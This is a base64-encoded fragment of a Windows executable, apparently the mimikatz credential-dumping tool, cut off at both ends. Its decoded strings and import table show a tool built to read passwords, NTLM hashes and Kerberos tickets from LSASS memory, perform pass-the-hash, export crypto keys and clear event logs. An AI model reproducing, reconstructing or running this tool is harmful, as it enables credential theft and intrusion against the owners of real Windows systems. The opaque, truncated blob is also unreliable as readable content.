kACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAD8AIAAoAHQAeQBwAGUAIAA+ACAAQwBSAEUARABfAFQAWQBQAEUAXwBNAEEAWABJAE0AVQBNACkAAAAAADwATgBVAEwATAA+AAAAAAAAAAAAVABhAHIAZwBlAHQATgBhAG0AZQAgADoAIAAlAHMAIAAvACAAJQBzAAoAVQBzAGUAcgBOAGEAbQBlACAAIAAgADoAIAAlAHMACgBDAG8AbQBtAGUAbgB0ACAAIAAgACAAOgAgACUAcwAKAFQAeQBwAGUAIAAgACAAIAAgACAAIAA6ACAAJQB1ACAALQAgACUAcwAKAEMAcgBlAGQAZQBuAHQAaQBhAGwAIAA6ACAAAAAKAAoAAAAAAGwAcwBhAHMAcgB2AAAAAABMc2FJQ2FuY2VsTm90aWZpY2F0aW9uAABMc2FJUmVnaXN0ZXJOb3RpZmljYXRpb24AAAAAYgBjAHIAeQBwAHQAAAAAAEJDcnlwdE9wZW5BbGdvcml0aG1Qcm92aWRlcgBCQ3J5cHRTZXRQcm9wZXJ0eQAAAEJDcnlwdEdldFByb3BlcnR5AAAAQkNyeXB0R2VuZXJhdGVTeW1tZXRyaWNLZXkAAEJDcnlwdEVuY3J5cHQAAABCQ3J5cHREZWNyeXB0AAAAQkNyeXB0RGVzdHJveUtleQAAAABCQ3J5cHRDbG9zZUFsZ29yaXRobVByb3ZpZGVyAAAAADMARABFAFMAAAAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAEMAQgBDAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAAAAAAE8AYgBqAGUAYwB0AEwAZQBuAGcAdABoAAAAAABBAEUAUwAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAEMARgBCAAAAQwBhAGMAaABlAGQAVQBuAGwAbwBjAGsAAAAAAEMAYQBjAGgAZQBkAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAE4AZQB3AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAATgBlAHQAdwBvAHIAawBDAGwAZQBhAHIAdABlAHgAdAAAAAAAVQBuAGwAbwBjAGsAAAAAAFAAcgBvAHgAeQAAAFMAZQByAHYAaQBjAGUAAABCAGEAdABjAGgAAABOAGUAdAB3AG8AcgBrAAAASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAVQBuAGsAbgBvAHcAbgAgACEAAABVAG4AZABlAGYAaQBuAGUAZABMAG8AZwBvAG4AVAB5AHAAZQAAAAAATABpAHMAdAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAE0AYQBuAGEAZwBlAHIAAAAAAGMAcgBlAGQAbQBhAG4AAABMAGkAcwB0ACAAQwBhAGMAaABlAGQAIABNAGEAcwB0AGUAcgBLAGUAeQBzAAAAAABkAHAAYQBwAGkAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAEsAZQB5AHMAAABlAGsAZQB5AHMAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAAdABpAGMAawBlAHQAcwAAAHQAaQBjAGsAZQB0AHMAAABQAGEAcwBzAC0AdABoAGUALQBoAGEAcwBoAAAAcAB0AGgAAABTAHcAaQB0AGMAaAAgACgAbwByACAAcgBlAGkAbgBpAHQAKQAgAHQAbwAgAEwAUwBBAFMAUwAgAG0AaQBuAGkAZAB1AG0AcAAgAGMAbwBuAHQAZQB4AHQAAAAAAG0AaQBuAGkAZAB1AG0AcAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAIABjAG8AbgB0AGUAeAB0AAAAAAAAAAAAUwBlAGEAcgBjAGgAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAgAHMAZQBnAG0AZQBuAHQAcwAgAHMAbwBtAGUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAHMAZQBhAHIAYwBoAFAAYQBzAHMAdwBvAHIAZABzAAAAAAAAAEwAaQBzAHQAcwAgAGEAbABsACAAYQB2AGEAaQBsAGEAYgBsAGUAIABwAHIAbwB2AGkAZABlAHIAcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAGwAbwBnAG8AbgBQAGEAcwBzAHcAbwByAGQAcwAAAAAATABpAHMAdABzACAAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABzAHMAcAAAAEwAaQBzAHQAcwAgAEwAaQB2AGUAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABsAGkAdgBlAHMAcwBwAAAATABpAHMAdABzACAAVABzAFAAawBnACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAdABzAHAAawBnAAAATABpAHMAdABzACAASwBlAHIAYgBlAHIAbwBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAABMAGkAcwB0AHMAIABXAEQAaQBnAGUAcwB0ACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAdwBkAGkAZwBlAHMAdAAAAEwAaQBzAHQAcwAgAEwATQAgACYAIABOAFQATABNACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbQBzAHYAAAAAAAAAUwBvAG0AZQAgAGMAbwBtAG0AYQBuAGQAcwAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4ALgAuAAAAUwBlAGsAdQByAEwAUwBBACAAbQBvAGQAdQBsAGUAAABzAGUAawB1AHIAbABzAGEAAAAAAFMAdwBpAHQAYwBoACAAdABvACAAUABSAE8AQwBFAFMAUwAKAAAAAABTAHcAaQB0AGMAaAAgAHQAbwAgAE0ASQBOAEkARABVAE0AUAAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG0AaQBuAGkAZAB1AG0AcAAgADsAIAA8AG0AaQBuAGkAZAB1AG0AcABmAGkAbABlAC4AZABtAHAAPgAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAAAAAE8AcABlAG4AaQBuAGcAIAA6ACAAJwAlAHMAJwAgAGYAaQBsAGUAIABmAG8AcgAgAG0AaQBuAGkAZAB1AG0AcAAuAC4ALgAKAAAAAABsAHMAYQBzAHMALgBlAHgAZQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABmAG8AdQBuAGQAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgACgAJQB1ACkAIAAhAD0AIABNAEkATQBJAEsAQQBUAFoAXwBOAFQAXwBNAEEASgBPAFIAXwBWAEUAUgBTAEkATwBOACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBQAHIAbwBjAGUAcwBzAG8AcgBBAHIAYwBoAGkAdABlAGMAdAB1AHIAZQAgACgAJQB1ACkAIAAhAD0AIABQAFIATwBDAEUAUwBTAE8AUgBfAEEAUgBDAEgASQBUAEUAQwBUAFUAUgBFAF8ASQBOAFQARQBMACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHcAaQB0AGgAbwB1AHQAIABTAHkAcwB0AGUAbQBJAG4AZgBvAFMAdAByAGUAYQBtACAAKAA/ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASwBlAHkAIABpAG0AcABvAHIAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGcAbwBuACAAbABpAHMAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBvAGQAdQBsAGUAcwAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBlAG0AbwByAHkAIABvAHAAZQBuAGkAbgBnAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABIAGEAbgBkAGwAZQAgAG8AbgAgAG0AZQBtAG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBjAGEAbAAgAEwAUwBBACAAbABpAGIAcgBhAHIAeQAgAGYAYQBpAGwAZQBkAAoAAAAAAAkAJQBzACAAOgAJAAAAAAAAAAAACgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AIABJAGQAIAA6ACAAJQB1ACAAOwAgACUAdQAgACgAJQAwADgAeAA6ACUAMAA4AHgAKQAKAFMAZQBzAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIABmAHIAbwBtACAAJQB1AAoAVQBzAGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoARABvAG0AYQBpAG4AIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoAUwBJAEQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAByAHUAbgAAAAAAAAB1AHMAZQByAAkAOgAgACUAcwAKAGQAbwBtAGEAaQBuAAkAOgAgACUAcwAKAHAAcgBvAGcAcgBhAG0ACQA6ACAAJQBzAAoAAABhAGUAcwAxADIAOAAAAAAAQQBFAFMAMQAyADgACQA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAxADIAOAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAxADIAOAAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAAYQBlAHMAMgA1ADYAAAAAAEEARQBTADIANQA2AAkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADYANAAgACgAMwAyACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAG4AdABsAG0AAAAAAE4AVABMAE0ACQA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABuAHQAbABtACAAaABhAHMAaAAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAACAAIAB8ACAAIABQAEkARAAgACAAJQB1AAoAIAAgAHwAIAAgAFQASQBEACAAIAAlAHUACgAAAAAAIAAgAHwAIAAgAEwAVQBJAEQAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAAAAAACAAIABcAF8AIABtAHMAdgAxAF8AMAAgACAAIAAtACAAAAAAACAAIABcAF8AIABrAGUAcgBiAGUAcgBvAHMAIAAtACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARwBlAHQAVABvAGsAZQBuAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAG4AdABsAG0AIABPAFIAIABhAGUAcwAxADIAOAAgAE8AUgAgAGEAZQBzADIANQA2AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAbwBtAGEAaQBuAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIAB1AHMAZQByAAoAAAAAAAAAAAAKAAkAIAAqACAAVQBzAGUAcgBuAGEAbQBlACAAOgAgACUAdwBaAAoACQAgACoAIABEAG8AbQBhAGkAbgAgACAAIAA6ACAAJQB3AFoAAAAAAAoACQAgACoAIABMAE0AIAAgACAAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIABOAFQATABNACAAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIABTAEgAQQAxACAAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIABSAGEAdwAgAGQAYQB0AGEAIAA6ACAAAAAAAAoACQAgACoAIABQAEkATgAgAGMAbwBkAGUAIAA6ACAAJQB3AFoAAAAJACAAIAAgACUAcwAgAAAAPABuAG8AIABzAGkAegBlACwAIABiAHUAZgBmAGUAcgAgAGkAcwAgAGkAbgBjAG8AcgByAGUAYwB0AD4AAAAAACUAdwBaAAkAJQB3AFoACQAAAAAAAAAAAAoACQAgACoAIABVAHMAZQByAG4AYQBtAGUAIAA6ACAAJQB3AFoACgAJACAAKgAgAEQAbwBtAGEAaQBuACAAIAAgADoAIAAlAHcAWgAKAAkAIAAqACAAUABhAHMAcwB3AG8AcgBkACAAOgAgAAAAAABMAFUASQBEACAASwBPAAoAAAAAAAoACQAgACoAIABSAG8AbwB0AEsAZQB5ACAAIAA6ACAAAAAAAAoACQAgACoAIABEAFAAQQBQAEkAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIAAlADAAOAB4ACAAOgAgAAAAAAAKAAkAIABbACUAMAA4AHgAXQAAAGQAcABhAHAAaQBzAHIAdgAuAGQAbABsAAAAAAAJACAAWwAlADAAOAB4AF0ACgAJACAAKgAgAEcAVQBJAEQAIAA6AAkAAAAAAAoACQAgACoAIABUAGkAbQBlACAAOgAJAAAAAAAKAAkAIAAqACAASwBlAHkAIAA6AAkAAAAKAAkASwBPAAAAAABUAGkAYwBrAGUAdAAgAEcAcgBhAG4AdABpAG4AZwAgAFQAaQBjAGsAZQB0AAAAAABDAGwAaQBlAG4AdAAgAFQAaQBjAGsAZQB0ACAAPwAAAFQAaQBjAGsAZQB0ACAARwByAGEAbgB0AGkAbgBnACAAUwBlAHIAdgBpAGMAZQAAAGsAZQByAGIAZQByAG8AcwAuAGQAbABsAAAAAAAKAAkARwByAG8AdQBwACAAJQB1ACAALQAgACUAcwAAAAoACQAgACoAIABLAGUAeQAgAEwAaQBzAHQAIAA6AAoAAAAAAGQAYQB0AGEAIABjAG8AcAB5ACAAQAAgACUAcAAAAAAACgAgACAAIABcAF8AIAAlAHMAIAAAAAAALQA+ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBlAG4AdQBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBhAGwAbABiAGEAYwBrAF8AcAB0AGgAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAIAAgACAAXABfACAAKgBQAGEAcwBzAHcAbwByAGQAIAByAGUAcABsAGEAYwBlACAALQA+ACAAAAAAAG4AdQBsAGwAAAAAAAoACQAgACAAIAAqACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACUAcwAgACEAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAGUAcgBiAGUAcgBvAHMAXwBlAG4AdQBtAF8AdABpAGMAawBlAHQAcwAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAFsAJQB4ADsAJQB4AF0ALQAlADEAdQAtACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAAFsAJQB4ADsAJQB4AF0ALQAlADEAdQAtACUAdQAtACUAMAA4AHgALgAlAHMAAAAAAGwAaQB2AGUAcwBzAHAALgBkAGwAbAAAAENyZWRlbnRpYWxLZXlzAABQcmltYXJ5AAoACQAgAFsAJQAwADgAeABdACAAJQBaAAAAAABkAGEAdABhACAAYwBvAHAAeQAgAEAAIAAlAHAAIAA6ACAAAABPAEsAIAAhAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBtAHMAdgBfAGUAbgB1AG0AXwBjAHIAZQBkAF8AYwBhAGwAbABiAGEAYwBrAF8AcAB0AGgAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAC4AAAAAAAAAbgAuAGUALgAgACgASwBJAFcASQBfAE0AUwBWADEAXwAwAF8AUABSAEkATQBBAFIAWQBfAEMAUgBFAEQARQBOAFQASQBBAEwAUwAgAEsATwApAAAAAAAAAG4ALgBlAC4AIAAoAEsASQBXAEkAXwBNAFMAVgAxAF8AMABfAEMAUgBFAEQARQBOAFQASQBBAEwAUwAgAEsATwApAAAAbQBzAHYAMQBfADAALgBkAGwAbAAAAAAAdABzAHAAawBnAC4AZABsAGwAAAB3AGQAaQBnAGUAcwB0AC4AZABsAGwAAAD+////AAAAALT///8AAAAA/v///wAAAAAABQEQAAAAABADARAkAwEQAAAAAFIDARBmAwEQAAAAAJUDARCpAwEQAAAAANoDARDuAwEQAAAAAAkEARAdBAEQAAAAAD4EARBSBAEQAAAAAIMEARCXBAEQAAAAAMoEARDeBAEQAAAAAP7///8AAAAA2P///wAAAAD+////WjYBEG42ARBgQQIAAAAAAAAAAACESQIAAGABAFBCAgAAAAAAAAAAALhKAgDwYAEA5EMCAAAAAAAAAAAADEsCAIRiAQCkQwIAAAAAAAAAAABQSwIARGIBAGBDAgAAAAAAAAAAAI5MAgAAYgEAtEMCAAAAAAAAAAAAJE0CAFRiAQCcQwIAAAAAAAAAAABGTQIAPGIBAMxDAgAAAAAAAAAAAGhNAgBsYgEA1EMCAAAAAAAAAAAAlk0CAHRiAQCQRAIAAAAAAAAAAAAOTwIAMGMBAIBCAgAAAAAAAAAAAEBSAgAgYQEA/EMCAAAAAAAAAAAA4lICAJxiAQAAAAAAAAAAAAAAAAAAAAAAAAAAAPBEAgAMRQIAHEUCAChFAgA+RQIAWEUCAHBFAgCERQIAmEUCAKhFAgC4RQIAyEUCANZFAgDsRQIA/EUCAA5GAgAeRgIALkYCAEZGAgBYRgIAaEYCAIJGAgCWRgIArEYCAMBGAgDaRgIA7EYCAARHAgAYRwIALkcCAERHAgBYRwIAakcCAHxHAgCMRwIAqkcCALxHAgDORwIA6kcCAAZIAgAkSAIAQEgCAEpIAgBeSAIAckgCAIZIAgCaSAIArEgCAMBIAgDSSAIA4kgCAPZIAgAGSQIAFkkCAChJAgA6SQIATkkCAGZJAgBySQIAAAAAAJJJAgCqSQIAzkkCAORJAgD0SQIAEkoCADZKAgBISgIAbEoCAIpKAgCgSgIAAAAAAABVAgDwVAIA1lQCALhUAgCcVAIAiFQCAGpUAgBUVAIASFQCADJUAgAqUgIAFlICAARSAgDmUQIAyFECALhRAgCcUQIAlFECAIJRAgByUQIAZFECAFRRAgA8UQIAIlECABBRAgD+UAIA7FACANxQAgDGUAIAtFACAKRQAgCOUAIAfFACAGhQAgBUUAIAQlACADJQAgAgUAIADlACAP5PAgDsTwIA3E8CAM5PAgC6TwIArE8CAJRPAgCETwIAFlUCAHBPAgAYTwIAME8CAD5PAgBKTwIAVk8CAGJPAgAAAAAAdksCAIhLAgCYSwIAtEsCAMJLAgDcSwIAdkwCAFhMAgBKTAIAXEsCAPRLAgAETAIAEkwCADRMAgAAAAAAME0CAAAAAAAaSwIALEsCAEBLAgAAAAAA0kwCAARNAgCaTAIAvEwCAO5MAgAAAAAAUk0CAAAAAACATQIAjE0CAHRNAgAAAAAA1koCAOpKAgD2SgIAAksCAMRKAgAAAAAAFFQCAAhUAgD+UwIA9lMCAB5UAgAoVAIA6lMCANxTAgDSUwIAxlMCALpTAgCwUwIAplMCAJ5TAgCSUwIAilMCAKZSAgCyUgIAvFICAMZSAgDQUgIA2FICAO5SAgD4UgIAAlMCABBTAgAaUwIAJlMCADRTAgA+UwIASFMCAFJTAgBiUwIAcFMCAHxTAgCcUgIAAAAAAJJSAgCIUgIAfFICAHBSAgBmUgIAXFICAE5SAgCkTQIAxE0CANhNAgD0TQIADE4CACROAgA0TgIASE4CAGROAgB4TgIAkE4CAKpOAgC8TgIA0k4CAOZOAgD8TgIAAAAAAH0BTHNhUXVlcnlJbmZvcm1hdGlvblBvbGljeQB1AUxzYU9wZW5Qb2xpY3kAVgFMc2FDbG9zZQAAZwBDcmVhdGVXZWxsS25vd25TaWQAAGEAQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAYABDcmVhdGVQcm9jZXNzQXNVc2VyVwAA+AFSZWdRdWVyeVZhbHVlRXhXAADyAVJlZ1F1ZXJ5SW5mb0tleVcAAOIBUmVnRW51bVZhbHVlVwDtAVJlZ09wZW5LZXlFeFcA3wFSZWdFbnVtS2V5RXhXAMsBUmVnQ2xvc2VLZXkAPgBDbG9zZVNlcnZpY2VIYW5kbGUAAK8ARGVsZXRlU2VydmljZQCuAU9wZW5TQ01hbmFnZXJXAACwAU9wZW5TZXJ2aWNlVwAATAJTdGFydFNlcnZpY2VXAMQBUXVlcnlTZXJ2aWNlU3RhdHVzRXgAAEIAQ29udHJvbFNlcnZpY2UAADsBSXNUZXh0VW5pY29kZQBQAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAKwBT3BlblByb2Nlc3NUb2tlbgAAGgFHZXRUb2tlbkluZm9ybWF0aW9uAEoBTG9va3VwQWNjb3VudFNpZFcAWABDb252ZXJ0U3RyaW5nU2lkVG9TaWRXAACUAENyeXB0RXhwb3J0S2V5AACGAENyeXB0QWNxdWlyZUNvbnRleHRXAACaAENyeXB0R2V0S2V5UGFyYW0AAKAAQ3J5cHRSZWxlYXNlQ29udGV4dACTAENyeXB0RW51bVByb3ZpZGVyc1cAmwBDcnlwdEdldFByb3ZQYXJhbQCMAENyeXB0RGVzdHJveUtleQCcAENyeXB0R2V0VXNlcktleQCrAU9wZW5FdmVudExvZ1cABAFHZXROdW1iZXJPZkV2ZW50TG9nUmVjb3JkcwAAOgBDbGVhckV2ZW50TG9nVwAAZQBDcmVhdGVTZXJ2aWNlVwAAQwJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAACoAQnVpbGRTZWN1cml0eURlc2NyaXB0b3JXAADCAVF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AAAdAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA4gBGcmVlU2lkAJkAQ3J5cHRHZXRIYXNoUGFyYW0AogBDcnlwdFNldEtleVBhcmFtAABwAlN5c3RlbUZ1bmN0aW9uMDMyAFUCU3lzdGVtRnVuY3Rpb24wMDUAnwBDcnlwdEltcG9ydEtleQAAaQJTeXN0ZW1GdW5jdGlvbjAyNQCIAENyeXB0Q3JlYXRlSGFzaACJAENyeXB0RGVjcnlwdAAAiwBDcnlwdERlc3Ryb3lIYXNoAABkAUxzYUZyZWVNZW1vcnkAnQBDcnlwdEhhc2hEYXRhALEBT3BlblRocmVhZFRva2VuAEUCU2V0VGhyZWFkVG9rZW4AALQARHVwbGljYXRlVG9rZW5FeAAAOABDaGVja1Rva2VuTWVtYmVyc2hpcAAAbABDcmVkRnJlZQAAawBDcmVkRW51bWVyYXRlVwAAQURWQVBJMzIuZGxsAAB3AENyeXB0QmluYXJ5VG9TdHJpbmdXAAB0AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQBGAENlcnRHZXROYW1lU3RyaW5nVwAAUABDZXJ0T3BlblN0b3JlADwAQ2VydEZyZWVDZXJ0aWZpY2F0ZUNvbnRleHQAAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAAA8AQ2VydENsb3NlU3RvcmUAAEEAQ2VydEdldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5ACkAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlACwAQ2VydEVudW1TeXN0ZW1TdG9yZQAJAVBGWEV4cG9ydENlcnRTdG9yZUV4AABDUllQVDMyLmRsbAAFAENETG9jYXRlQ1N5c3RlbQAGAENETG9jYXRlQ2hlY2tTdW0AAAsATUQ1RmluYWwAAA0ATUQ1VXBkYXRlAAwATUQ1SW5pdABjcnlwdGRsbC5kbGwAAE4AUGF0aElzUmVsYXRpdmVXACIAUGF0aENhbm9uaWNhbGl6ZVcAJABQYXRoQ29tYmluZVcAAFNITFdBUEkuZGxsACYAU2FtUXVlcnlJbmZvcm1hdGlvblVzZXIABgBTYW1D